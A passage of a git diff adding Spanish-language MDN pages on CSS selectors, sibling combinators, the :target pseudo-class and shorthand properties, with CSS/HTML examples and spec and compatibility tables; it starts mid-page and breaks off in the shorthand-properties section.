+<span class="selector token">ol<span class="attribute token"><span class="punctuation token">[</span><span class="attribute token">type</span><span class="operator token">=</span><span class="token value">"a"</span> <span class="case-sensitivity keyword token">s</span><span class="punctuation token">]</span></span></span> <span class="punctuation token">{</span>
+  <span class="property token">list-style-type</span><span class="punctuation token">:</span> lower-alpha<span class="punctuation token">;</span>
+  <span class="property token">background</span><span class="punctuation token">:</span> lime<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+
+<span class="selector token">ol<span class="attribute token"><span class="punctuation token">[</span><span class="attribute token">type</span><span class="operator token">=</span><span class="token value">"A"</span> <span class="case-sensitivity keyword token">s</span><span class="punctuation token">]</span></span></span> <span class="punctuation token">{</span>
+  <span class="property token">list-style-type</span><span class="punctuation token">:</span> upper-alpha<span class="punctuation token">;</span>
+  <span class="property token">background</span><span class="punctuation token">:</span> lime<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html; line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>ol</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>A<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+  <span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>li</span><span class="punctuation token">&gt;</span></span>Example list<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>li</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>ol</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<h4 id="Result">Result</h4>
+
+<p>{{EmbedLiveSample("HTML_ordered_lists")}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#attribute-selectors', 'attribute selectors')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Agrega un modificador para la selección de valores de atributos insensibles a mayúsculas / minúsculas ASCII.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#attribute-selectors', 'attribute selectors')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#attribute-selectors', 'attribute selectors')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Definición Inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("css.selectors.attribute")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Seleccionando un solo elemento:{{domxref("Document.querySelector()")}}, {{domxref("DocumentFragment.querySelector()")}}, o {{domxref("Element.querySelector()")}}</li>
+ <li>Seleccionar todos los elementos coincidentes:{{domxref("Document.querySelectorAll()")}}, {{domxref("DocumentFragment.querySelectorAll()")}}, o {{domxref("Element.querySelectorAll()")}}</li>
+ <li>Todos los métodos anteriores se implementan en base a {{domxref("ParentNode")}} mixin; vea  {{domxref("ParentNode.querySelector()")}} y {{domxref("ParentNode.querySelectorAll()")}}</li>
+</ul>
diff --git a/files/es/web/css/selectores_css/index.html b/files/es/web/css/selectores_css/index.html
new file mode 100644
index 0000000000..20baaf25a6
--- /dev/null
+++ b/files/es/web/css/selectores_css/index.html
@@ -0,0 +1,164 @@
+---
+title: Selectores CSS
+slug: Web/CSS/Selectores_CSS
+tags:
+  - CSS
+  - Referencia
+  - Selectores
+  - Selectores de CSS
+  - Visión general
+translation_of: Web/CSS/CSS_Selectors
+---
+<div>{{CSSRef}}</div>
+
+<p>Los <strong>selectores </strong>definen sobre qué elementos se aplicará un conjunto de reglas CSS.</p>
+
+<h2 id="Selectores_básicos">Selectores básicos</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/Type_selectors">Selector de tipo</a></dt>
+ <dd>Selecciona todos los elementos que coinciden con el nombre del elemento especificado.<br>
+ <strong>Sintaxis:</strong> <code><var>eltname</var></code><br>
+ <strong>Ejemplo:</strong> <code>input</code> se aplicará a cualquier elemento {{HTMLElement('input')}}.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Class_selectors">Selector de clase</a></dt>
+ <dd>Selecciona todos los elementos que tienen el atributo de <code>class</code> especificado.<br>
+ <strong>Sintaxis:</strong> <code>.<var>classname</var></code><br>
+ <strong>Ejemplo:</strong> <code>.index</code> seleccionará cualquier elemento que tenga la clase "<em>index</em>".</dd>
+ <dt><a href="/en-US/docs/Web/CSS/ID_selectors">Selector de ID</a></dt>
+ <dd>Selecciona un elemento basándose en el valor de su atributo <code>id</code>. Solo puede haber un elemento con un determinado ID dentro de un documento.<br>
+ <strong>Sintaxis:</strong> <code>#<var>idname</var></code><br>
+ <strong>Ejemplo:</strong> <code>#toc</code> se aplicará a cualquier elemento que tenga el ID "<em>toc</em>".</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Universal_selectors">Selector universal</a></dt>
+ <dd>Selecciona todos los elementos. Opcionalmente, puede estar restringido a un espacio de nombre específico o a todos los espacios de nombres.<br>
+ <strong>Sintaxis:</strong> <code>* ns|* *|*</code><br>
+ <strong>Ejemplo:</strong> <code>*</code> se aplicará a todos los elementos del documento.</dd>
+ <dt><a href="/en-US/docs/Web/CSS/Attribute_selectors">Selector de atributo</a></dt>
+ <dd>Selecciona elementos basándose en el valor de un determinado atributo.<br>
+ <strong>Sintaxis:</strong> <code>[attr] [attr=value] [attr~=value] [attr|=value] [attr^=value] [attr$=value] [attr*=value]</code><br>
+ <strong>Ejemplo:</strong> <code>[autoplay]</code> seleccionará todos los elementos que tengan el atributo "autoplay" establecido (a cualquier valor).</dd>
+</dl>
+
+<h2 id="Combinadores">Combinadores</h2>
+
+<dl>
+ <dt><a href="/es/docs/Web/CSS/Selectores_hermanos_adyacentes">Combinador de hermanos adyacentes</a></dt>
+ <dd>El combinador <code>+</code> selecciona hermanos adyacentes. Esto quiere decir que el segundo elemento sigue directamente al primero y ambos comparten el mismo elemento padre.<br>
+ <strong>Sintaxis:</strong> <code><var>A</var> + <var>B</var></code><br>
+ <strong>Ejemplo:</strong> La regla <code>h2 + p</code> se aplicará a todos los elementos {{HTMLElement('p')}} que siguen directamente a un elemento {{HTMLElement('h2')}}.</dd>
+ <dt><a href="/es/docs/Web/CSS/Selectores_hermanos_generales">Combinador general de hermanos</a></dt>
+ <dd>El combinador <code>~</code> selecciona hermanos. Esto quiere decir que el segundo elemento sigue al primero (no necesariamente de forma inmediata) y ambos comparten el mismo elemento padre.<br>
+ <strong>Sintaxis:</strong> <code><var>A</var> ~ <var>B</var></code><br>
+ <strong>Ejemplo:</strong> La regla <code>p ~ span</code> se aplicará a todos los elementos {{HTMLElement('span')}} que siguen un elemento {{HTMLElement('p')}}.</dd>
+ <dt><a href="/es/docs/Web/CSS/Child_selectors">Combinador de hijo </a></dt>
+ <dd>El combinador <code>&gt;</code> selecciona los elementos que son hijos directos del primer elemento.<br>
+ <strong>Sintaxis:</strong> <code><var>A</var> &gt; <var>B</var></code><br>
+ <strong>Ejemplo:</strong> La regla <code>ul &gt; li</code> se aplicará a todos los elementos {{HTMLElement('li')}} que son hijos directos de un elemento {{HTMLElement('ul')}}.</dd>
+ <dt><a href="/es/docs/Web/CSS/Descendant_selectors">Combinador de descendientes</a></dt>
+ <dd>El combinador <code> </code> (espacio) selecciona los elementos que son descendientes del primer elemento.<br>
+ <strong>Sintaxis:</strong> <code>A B</code><br>
+ <strong>Ejemplo:</strong> La regla <code>div span</code> se aplicará a todos los elementos {{HTMLElement('span')}} que están dentro de un elemento {{HTMLElement('div')}}.</dd>
+ <dt><a href="https://developer.mozilla.org/es/docs/Web/CSS/Column_combinator">Combinador de column</a>a {{Experimental_Inline}}</dt>
+ <dd>El combinador <code>||</code> selecciona los elementos especificados pertenecientes a una columna.<br>
+ <strong>Sintaxis:</strong> <code><var>A</var> || <var>B</var></code><br>
+ <strong>Ejemplo:</strong> <code>col || td</code> seleccionará todos los elementos {{HTMLElement("td")}} que pertenezcan al ámbito de {{HTMLElement("col")}}.</dd>
+</dl>
+
+<h2 id="Pseudoclases"><strong>Pseudoclases</strong></h2>
+
+<dl>
+ <dt>Las <a href="/es/docs/Web/CSS/Pseudo-classes">pseudoclases</a> permiten la selección de elementos, basada en información de estado que no está contenida en el árbol de documentos.</dt>
+ <dd><strong>Ejemplo:</strong> La regla a<code>:visited</code> se aplicará a todos los elementos {{HTMLElement("a")}} que hayan sido visitados por el usuario.</dd>
+</dl>
+
+<h2 id="Pseudoelementos">Pseudoelementos</h2>
+
+<dl>
+ <dt>
+ <p>Los <a href="/es/docs/Web/CSS/Pseudoelementos">pseudoelementos</a> son abstracciones del árbol que representan entidades más allá de los elementos HTML. Por ejemplo, HTML no tiene un elemento que describa la primera letra de un párrafo ni los marcadores de una lista. Los pseudoelementos representan estas entidades y nos permiten asignarles reglas CSS. De este modo podemos diseñar estas entidades de forma independiente.</p>
+ </dt>
+ <dd><strong>Ejemplo:</strong> La regla <code>p::first-line</code> se aplicará a la primera línea de texto de todos los elementos {{HTMLElement('p')}}.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Añadidos el combinador de columna <code>||</code>, selectores de estructura de grilla, combinadores lógicos, pseudoclases de ubicación, dimensión temporal, estado de recurso, lingüisticas y de UI, modificador para la selección de valores de atributo ASCII que distingue entre mayúsculas y minúsculas.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Añadidos el combinador <code>~</code> general de hermanos y las pseudoclases de árbol-estructural. Los pseudoelementos creados, usan un prefijo <code>::</code> de dos puntos dobles. Selectores de atributos adicionales.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Añadidos los combinadores <code>&gt;</code> de elemento hijo y <code>+</code> de elementos hermanos adyacentes. Añadidos los selectores <strong>universal</strong> y de <strong>atributo</strong>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>3.0</td>
+   <td>3.5</td>
+   <td>1.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.5</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/selectores_css/usando_la_pseudo-clase__colon_target_en_selectores/index.html b/files/es/web/css/selectores_css/usando_la_pseudo-clase__colon_target_en_selectores/index.html
new file mode 100644
index 0000000000..fe51517a2b
--- /dev/null
+++ b/files/es/web/css/selectores_css/usando_la_pseudo-clase__colon_target_en_selectores/index.html
@@ -0,0 +1,67 @@
+---
+title: 'Usando la pseudo-clase :target en selectores'
+slug: 'Web/CSS/Selectores_CSS/Usando_la_pseudo-clase_:target_en_selectores'
+tags:
+  - CSS
+  - CSS3
+  - Selectores
+translation_of: 'Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors'
+---
+<p><span class="comment">When a URL points at a specific piece of a document, it can be difficult to ascertain. Find out how you can use some simple CSS to draw attention to the target of a URL and improve the user's experience.</span> {{CSSRef}}</p>
+
+<p>Como ayuda para identificar el destino de un enlace que apunta a una parte específica de un documento, los <a class="external" href="http://www.w3.org/TR/css3-selectors/#target-pseudo">Selectores CSS3</a> incluyen la <a href="/en/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-clase</a> {{ Cssxref(":target") }}.</p>
+
+<h3 id="Picking_a_Target" name="Picking_a_Target">Seleccionando un objetivo (target)</h3>
+
+<p>La pseudo-clase <code>{{ Cssxref(":target") }}</code> es usada para estilizar el elemento objetivo de una URI que contiene un identificador de fragmento. Por ejemplo, la URI <code><span class="nowiki">http://developer.mozilla.org/en/docs/Using_the_:target_selector#Example</span></code> contiene el identificador de fragmento <code>#Example</code>. En HTML, los identificadores son valores de los atributos <code>id</code> o <code>name</code>, pues ambos comparten el mismo espacio de nombres. Por lo tanto, la URI de ejemplo apuntará al encabezado "Example" en este documento.</p>
+
+<p>Supongamos que se quiere estilizar cualquier elemento <code>h2</code> que sea el objetivo de una URI, pero no queremos que cualquier otro elemento tenga esos mismos estilos. Es así de simple:</p>
+
+<pre class="notranslate">h2:target {font-weight: bold;}</pre>
+
+<p>También es posible crear estilos específicos para fragmentos particulares del documento. Esto se hace usando el mismo valor del identificador que se encuentra en la URI. Así, para añadir un borde al fragmento <code>#Example</code>, escribiremos:</p>
+
+<pre class="notranslate">#Example:target {border: 1px solid black;}</pre>
+
+<h3 id="Targeting_the_Root_Element" name="Targeting_the_Root_Element">Aplicando estilos a todos los elementos objetivo</h3>
+
+<p>Si lo que se intenta es crear un estilo que cubra a todos los elementos objetivo, se puede usar el selector universal:</p>
+
+<pre class="notranslate">:target {color: red;}
+</pre>
+
+<h3 id="Example" name="Example">Ejemplo</h3>
+
+<p>En el siguiente ejemplo, hay cinco enlaces que apuntan a elementos en el mismo documento. Seleccionar el enlace "First", por ejemplo, causará que <code>&lt;h1 id="one"&gt;</code> sea el elemento objetivo. Nótese que el documento puede desplazarse a una nueva posición, pues los elementos objetivo están ubicados en la parte superior de la ventana del navegador cuando es posible.</p>
+
+<div id="example">
+<pre class="notranslate">&lt;h4 id="one"&gt;...&lt;/h4&gt; &lt;p id="two"&gt;...&lt;/p&gt;
+&lt;div id="three"&gt;...&lt;/div&gt; &lt;a id="four"&gt;...&lt;/a&gt; &lt;em id="five"&gt;...&lt;/em&gt;
+
+&lt;a href="#one"&gt;First&lt;/a&gt;
+&lt;a href="#two"&gt;Second&lt;/a&gt;
+&lt;a href="#three"&gt;Third&lt;/a&gt;
+&lt;a href="#four"&gt;Fourth&lt;/a&gt;
+&lt;a href="#five"&gt;Fifth&lt;/a&gt;</pre>
+</div>
+
+<h3 id="Conclusion" name="Conclusion">Conclusión</h3>
+
+<p>En los casos en los que un identificador de fragmento apunte a una porción del documento, los lectores pueden confundirse sobre qué parte del documento se supone que están leyendo. Darle un estilo particular al objetivo de la URI le resta confusión al lector, o incluso la elimina.</p>
+
+<h3 id="Related_Links" name="Related_Links">Enlaces relacionados</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/css3-selectors/#target-pseudo">Selectores CSS3 #target-pseudo</a></li>
+ <li><a class="internal" href="/es/CSS/:target" title="En/CSS/:target">Referencia CSS :target</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Información del Documento Original</h3>
+
+<ul>
+ <li>Autor(es): Eric Meyer, Evangelista de Estándares, Netscape Communications</li>
+ <li>Información Original de Copyright: Copyright © 2001-2003 Netscape. Todos los derechos reservados.</li>
+ <li>Nota: El artículo en inglés era originalmente parte del sitio DevEdge.</li>
+</ul>
+</div>
diff --git a/files/es/web/css/selectores_hermanos_adyacentes/index.html b/files/es/web/css/selectores_hermanos_adyacentes/index.html
new file mode 100644
index 0000000000..1200c4bd61
--- /dev/null
+++ b/files/es/web/css/selectores_hermanos_adyacentes/index.html
@@ -0,0 +1,135 @@
+---
+title: Selectores de hermanos adyacentes
+slug: Web/CSS/Selectores_hermanos_adyacentes
+tags:
+  - CSS
+  - NeedsMobileBrowserCompatibility
+  - Referencia CSS
+  - Selectores
+translation_of: Web/CSS/Adjacent_sibling_combinator
+---
+<p>{{CSSRef("Selectors")}}</p>
+
+<p>Se hace referencia a este selector como selector adyacente o selector del próximo hermano. Sólo seleccionará un elemento especificado que esté inmediatamente después de otro elemento especificado.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">elemento_anterior + elemento_afectado { <em>estilos</em> }
+</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<div id="Example_1">
+<pre class="brush: css">li:first-of-type + li {
+  color: red;
+}
+</pre>
+
+<pre class="brush: html">&lt;ul&gt;
+  &lt;li&gt;Uno&lt;/li&gt;
+  &lt;li&gt;Dos&lt;/li&gt;
+  &lt;li&gt;Tres&lt;/li&gt;
+&lt;/ul&gt;</pre>
+</div>
+
+<p>{{EmbedLiveSample('Example_1', 200, 100)}}</p>
+
+<p>Otro caso podría ser dar estilos a un span que se use de pie de foto de los siguientes elementos {{HTMLElement("img")}} :</p>
+
+<pre class="brush: css">img + span.caption {
+  font-style: italic;
+}
+</pre>
+
+<p>que coincidiría con los siguientes elementos {{HTMLElement("span")}} :</p>
+
+<pre class="brush: html">&lt;img src="photo1.jpg"&gt;&lt;span class="caption"&gt;The first photo&lt;/span&gt;
+&lt;img src="photo2.jpg"&gt;&lt;span class="caption"&gt;The second photo&lt;/span&gt;
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificacion</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#adjacent-sibling-combinators', 'next-sibling combinator')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#adjacent-sibling-combinators', 'Adjacent sibling combinator')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#adjacent-selectors', 'Adjacent sibling selectors')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>7.0<sup>[1]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Internet Explorer 7 no actualiza correctamente el estilo cuando un elemento es insertado dinámicamente antes de otro elemento que coincidía con el selector. En Internet Explorer 8, si un elemento es insertado dinámicamente haciendo click en un enlace, el estilo del <code>first-child</code> no se aplica hasta que el enlace pierde el foco.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/Selectores_hermanos_generales">Selectores de hermanos generales</a></li>
+</ul>
diff --git a/files/es/web/css/selectores_hermanos_generales/index.html b/files/es/web/css/selectores_hermanos_generales/index.html
new file mode 100644
index 0000000000..96c87148b9
--- /dev/null
+++ b/files/es/web/css/selectores_hermanos_generales/index.html
@@ -0,0 +1,117 @@
+---
+title: Selectores de hermanos generales
+slug: Web/CSS/Selectores_hermanos_generales
+tags:
+  - CSS
+  - NeedsMobileBrowserCompatibility
+  - Referencia CSS
+  - Selectores
+translation_of: Web/CSS/General_sibling_combinator
+---
+<div><span class="s1">{{CSSRef("Selectors")}}</span></div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>El combinador <code>~</code> separa dos selectores y selecciona el segundo elemento sólo si está precedido por el primero y ambos comparten un padre común.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">elemento ~ elemento { <em>estilos</em> }
+</pre>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<pre class="brush: css">p ~ span {
+  color: red;
+}</pre>
+
+<pre class="brush: html">&lt;span&gt;Este span no es rojo.&lt;/span&gt;
+&lt;p&gt;Aquí hay un párrafo.&lt;/p&gt;
+&lt;code&gt;Aquí hay algo de código.&lt;/code&gt;
+&lt;span&gt;Aquí hay un span. Es rojo porque va precedido de un párrafo y ambos comparten el mismo padre.&lt;/span&gt;</pre>
+
+<p>{{ EmbedLiveSample('Example', 320, 150) }}</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Selectors', '#general-sibling-combinators', 'following-sibling combinator') }}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Selectors', '#general-sibling-combinators', 'general sibling combinator') }}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>7</td>
+   <td>9</td>
+   <td>3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<p> </p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/Adjacent_sibling_selectors">Selectores de hermanos adyacentes</a></li>
+</ul>
diff --git a/files/es/web/css/shorthand_properties/index.html b/files/es/web/css/shorthand_properties/index.html
new file mode 100644
index 0000000000..7e6cb6a359
--- /dev/null
+++ b/files/es/web/css/shorthand_properties/index.html
@@ -0,0 +1,155 @@
+---
+title: Propiedades abreviadas
+slug: Web/CSS/Shorthand_properties
+tags:
+  - CSS
+  - Guía
+  - Propiedades
+  - Referencia
+  - abreviatura
+  - propiedades abreviadas
+translation_of: Web/CSS/Shorthand_properties
+---
+<h2 id="Definition" name="Definition">Definición</h2>
+
+<p>Las <strong><dfn>propiedades abreviadas</dfn></strong> son propiedades CSS que permiten asignar el valor de muchas otras propiedades de CSS al mismo tiempo. Usando una propiedad abreviada ('shorthand'), se pueden escribir hojas de estilo más concisas (y a menudo más legibles), ahorrando tiempo y energía.</p>
+
+<p>La especificación de CSS define las propiedades abreviadas para agrupar la definición de propiedades en común para el mismo tema. Ejemplo: La propiedad  {{cssxref("background")}} de CSS es una propiedad abreviada que puede definir el valor de {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-repeat")}}, y {{cssxref("background-position")}}. Similarmente, las propiedades más comúnes relacionadas con las fuentes se pueden definir usando la abreviación {{cssxref("font")}}, y los diferentes márgenes alrededor de una caja pueden ser definidos usando la abreviación {{cssxref("margin")}}.</p>
+
+<h2 id="Tricky_edge_cases" name="Tricky_edge_cases">Casos especiales delicados</h2>
+
+<p>Incluso si son convenientes de utilizar, hay algunos casos especiales que mantener en mente al utilizarlos:</p>
+
+<ol>
+ <li>Si no se especifica un valor, se le asignará su valor inicial. Suena a algo anecdótico, pero significa que se <strong>sobreescribirán</strong> los valores previamente definidos. Por lo tanto:
+
+  <pre class="brush:css">background-color: red;
+background: url(images/bg.gif) no-repeat top right;
+</pre>
+   no pondrá el color en rojo sino al valor por defecto de {{cssxref("background-color")}} , <code>transparent</code>, puesto que la segunda regla tiene precedencia.</li>
+ <li>Solo los valores de las propiedades individuales pueden heredar. Dado que los valores omitidos son reemplazados por su valor inicial, es imposible permitir la herencia de propiedades individuales omitiéndolas. La palabra clave <code>inherit</code> puede ser aplicada a una propiedad, pero solo como un todo, no como una palabra clave para un valor u otro. Eso significa que la única manera de hacer que un valor específico sea heredado es usar la propiedad a mano con la palabra clave <code>inherit.</code></li>
+ <li>Shorthand properties try not to force a specific order for the values of the properties they replace. This works well when these properties use values of different types, as the order has no importance, but this does not work as easily when several properties can have identical values. Handling of these cases are grouped in several categories:
+  <ol>
+   <li>Shorthands handling properties related to edges of a box, like {{cssxref("border-style")}}, {{cssxref("margin")}} or {{cssxref("padding")}}, always use a consistent 1-to-4-value syntax representing those edges:
+    <table>
+     <tbody>
+      <tr>
+       <td style="width: 79px;"><img alt="border1.png" src="/files/3646/border1.png"></td>
+       <td><em>The 1-value syntax</em>: <code>border-width: 1em</code> — The unique value represents all edges</td>
+      </tr>
+      <tr>
+       <td><img alt="border2.png" src="/files/3647/border2.png"></td>
+       <td><em>The 2-value syntax</em>: <code>border-width: 1em 2em</code> — The first value represents the vertical, that is top and bottom, edges, the second the horizontal ones, that is the left and right ones.</td>
+      </tr>
+      <tr>
+       <td><img alt="border3.png" src="/files/3648/border3.png"></td>
+       <td><em>The 3-value syntax</em>: <code>border-width: 1em 2em 3em</code> — The first value represents the top edge, the second, the horizontal, that is left and right, ones, and the third value the bottom edge</td>
+      </tr>
+      <tr>
+       <td><img alt="border4.png" src="/files/3649/border4.png"></td>
+       <td>
+        <p><em>The 4-value syntax</em>: <code>border-width: 1em 2em 3em 4em</code> — The four values represent the top, right, bottom and left edges respectively, always in that order, that is clock-wise starting at the top (The initial letter of Top-Right-Bottom-Left matches the order of the consonant of the word <em>trouble</em>: TRBL)</p>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </li>
+   <li>Similarly, shorthands handling properties related to corners of a box, like {{cssxref("border-radius")}}, always use a consistent 1-to-4-value syntax representing those corners:
+    <table>
+     <tbody>
+      <tr>
+       <td style="width: 69px;"><img alt="corner1.png" src="/files/3650/corner1.png"></td>
+       <td><em>The 1-value syntax</em>: <code>border-radius: 1em</code> — The unique value represents all corners</td>
+      </tr>
+      <tr>
+       <td><img alt="corner2.png" src="/files/3651/corner2.png"></td>
+       <td><em>The 2-value syntax</em>: <code>border-radius: 1em 2em</code> — The first value represents the top left and bottom right corner, the second the top right and bottom left ones.</td>
+      </tr>
+      <tr>
+       <td><img alt="corner3.png" src="/files/3652/corner3.png"></td>
+       <td><em>The 3-value syntax</em>: <code>border-radius: 1em 2em 3em</code> — The first value represents the top left corner, the second the top right and bottom left ones, and the third value the bottom right corner</td>
+      </tr>
+      <tr>
+       <td><img alt="corner4.png" src="/files/3653/corner4.png"></td>
+       <td>
+        <p><em>The 4-value syntax</em>: <code>border-radius: 1em 2em 3em 4em</code> — The four values represent the top left, top right, bottom right and bottom left corners respectively, always in that order, that is clock-wise starting at the top left.</p>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </li>
+  </ol>
+ </li>
+</ol>
+
+<h2 id="Background_Properties" name="Background_Properties">Propiedades Background</h2>
+
+<p>Un fondo con las siguientes propiedades...</p>
+
